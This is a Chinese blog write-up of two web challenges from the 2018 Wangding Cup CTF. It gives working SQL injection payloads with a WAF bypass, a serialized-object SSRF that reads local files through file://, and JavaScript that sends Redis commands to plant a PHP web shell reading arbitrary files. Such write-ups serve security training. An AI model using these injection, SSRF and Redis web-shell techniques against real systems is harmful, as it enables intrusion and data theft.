2018 网鼎杯CTF 第一场

哈哈。传说中的pwn鼎杯来了,当时也没做出来什么,现在好好琢磨琢磨。

Web - facebook

首先还是看看网站有啥功能,大概就是一个可以注册登录的,写博客的地方

现在的题目迷惑性很大,不能被表面现象迷惑,猜不透到底是sql注入,还是什么。

从最开始的思路下手,robots git 和sql都试一下

git 无

robots得到信息如下:

发现有源码,下载下来读一下

扫描二维码关注公众号,回复: 4112559 查看本文章
<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

没有什么太大的作用,不过记住最下面的正则匹配。

接着浏览一下,注意到网址格式如下:

有参数,说不定可以注入,使用sqlmap跑一下,或者手动测试一下,确实存在sql漏洞,但是union select被waf了

这是两个方法,一个是绕过union select,一个是用别的

爆表名
/view.php?no=-6 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆列名
/view.php?no=-6 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#
爆字段
/view.php?no=-6 union/**/select 1,data,3,4  from users#

或者是使用报错注入

爆表名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
/view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

得到结果竟然是一个序列化的值

那么大概的思路清楚了,我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面。    、

function get($url)获取的blog连接,如果连接失败就404,否则读取文件信息。

所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,直接人为构造联合查询返回语句,因为data字段在第四个位置,我们也需要这样:

/view.php?no=1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"ckj123";s:3:"age";i:111111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

即可得到flag的base64编码

解码即可,为了弄清楚到底怎么回事,可以在读取一下view.php

实际上就是取data后反序列化,然后获取链接到的内容

spider

可以理解大概的意思是获取我们提交的网址的内容,a标签的

<a href="http://www.w3school.com.cn">W3School</a>

老套路看看有没有源码泄露啥的

访问 robots.txt 发现存在 /get_sourcecode 文件

访问提示 NOT 127.0.0.1,那思路大概是有了,需要编网页让服务器帮我们读,使用js代码让其执行

通过服务器执行 JS 代码来访问 /get_sourcecode 文件

不得不说 这个用的还是挺频繁的 关于js的请求连接什么的 

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc()
{
    //判断系统版本,创建requst实例
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    //绑定事件 当状态变化时调用匿名函数 将返回结果写入到a标签中
    //正好符合本网页的功能 将标签的innerHTML取出来就是我们要的结果
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200){
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
    xmlhttp.send();

}
loadXMLDoc();
</script>

作者:wuli_decade
链接:https://www.jianshu.com/p/78dd400669db

得到的结果如下,文件的源码:

URL: http://127.0.0.1:80/upload/c97ddbd0-a6a3-11e8-b761-0242ac110184.html
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request 
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
    out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
    fileno = out_temp.fileno()
    proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
    start_time = time.time()
    while True:
        if proc.poll() == None:
            if time.time() - start_time &gt; 30:
                proc.terminate()
                proc.kill()
                proc.communicate()
                out_temp.seek(0)
                out_temp.close()
                return
            else:
                time.sleep(1)
        else:
            proc.communicate()
            out_temp.seek(0)
            data = out_temp.read()
            out_temp.close()
            return data

def casperjs_html(url):
    cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
    cmd = cmd.split(' ')
    stdout = proc_shell(cmd)
    try:
        result = json.loads(stdout)
        links = result.get('resourceRequestUrls')
        return links
    except Exception, e:
        return []

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        f = request.files['file']
        filename = str(uuid.uuid1()) + '.html'
        basepath = os.path.dirname(__file__)
        upload_path = os.path.join(basepath, 'static/upload/', filename)
        content = f.read()
        #hint
        if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
            return render_template('index.html', msg=u'Warning: 发现恶意关键字')
        #hint
        with open(upload_path, 'w') as f:
            f.write(content)
        url = 'http://127.0.0.1:80/upload/'+filename
        links = casperjs_html(url)
        links = '\n'.join(links)
        if not links:
            links = 'NULL'
        links = 'URL: '+url+'\n'+links
        return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
    if request.method == 'GET':
        ip = request.remote_addr
        if ip != '127.0.0.1':
            return 'NOT 127.0.0.1'
        else:
            with open(os.path.dirname(__file__)+'/run.py') as f:
                code = f.read()
            return code
    else:
        return ''

@app.errorhandler(404)
def page_not_found(error):
    return '404'

@app.errorhandler(500)
def internal_server_error(error):
    return '500'

@app.errorhandler(403)
def unauthorized(error):
    return '403'

if __name__ == '__main__':
    pass

在hint所在的函数中,我们可以看出,大意是访问一个网页,采用post的方式上传一个文件,经过一些检测,存储到目录下,那么类似于webshell,我们需要上传写入一个shell,然后连接就可以了。

使用redis写入 shell,关于redis的知识已经在上一篇博客中特意更新了

<a href="" id="flag">test</a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
    xmlHttp = new XMLHttpRequest();
}
else{
    xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}

var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>

接着构造 JS 代码访问我们构造的PHP文件即可获得flag:

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=flag.php",true);
    xmlhttp.send();
}
loadXMLDoc();
</script>

参考:

https://xz.aliyun.com/t/2607

https://www.jianshu.com/c/ca8b1391ba41

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/84172966